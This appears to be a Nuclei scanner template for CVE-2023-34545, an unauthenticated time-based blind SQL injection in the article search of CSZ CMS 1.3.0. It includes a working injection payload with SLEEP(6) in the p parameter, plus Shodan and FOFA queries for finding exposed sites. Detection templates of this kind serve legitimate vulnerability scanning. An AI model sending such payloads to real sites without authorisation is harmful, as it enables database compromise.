Copy
id: CVE-2023-34545
info:
name: CSZ CMS 1.3.0 - SQL Injection
author: DhiyaneshDk
severity: critical
description: |
CSZ CMS 1.3.0 is vulnerable to an unauthenticated time-based blind SQL injection in the article plugin search. The `p` parameter of /plugin/article/search is passed through cleanOSCommand() (which removes OS-command characters but not SQL single quotes) and concatenated directly into a MySQL LIKE clause, allowing a remote unauthenticated attacker to execute arbitrary SQL statements via the search URL.
impact: |
An unauthenticated remote attacker can read, modify or exfiltrate arbitrary data from the application database.
remediation: |
Properly parameterize or escape the `p` parameter in the article plugin search, and upgrade to a fixed release when available.
reference:
- https://www.exploit-db.com/exploits/50899
- https://nvd.nist.gov/vuln/detail/CVE-2023-34545
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-34545
epss-score: 0.02564
epss-percentile: 0.85625
cwe-id: CWE-89
metadata:
verified: true
max-request: 2
vendor: cskaza
product: cszcms
shodan-query: http.html:"CSZ CMS"
fofa-query: body="CSZ CMS"
tags: cve,cve2023,cszcms,csz,sqli,injection,unauth,cskaza,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
matchers:
- type: word
part: header
words:
- "cszsess"
internal: true
- raw:
- |
@timeout: 25s
GET /plugin/article/search?p=1%27)%20AND%20(SELECT%205174%20FROM%20(SELECT(SLEEP(6)))qedr)--%20- HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration >= 6'
- 'status_code == 200'
condition: and
# digest: 4a0a00473045022100d59b2e10370857d5b94407d50a4021c782f8c1c478c247f6499c199dc74df90802201f0bb8fb3a922ca5d23d06f6b97896782c0346d0fdad69eced2f60d443f96a14:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.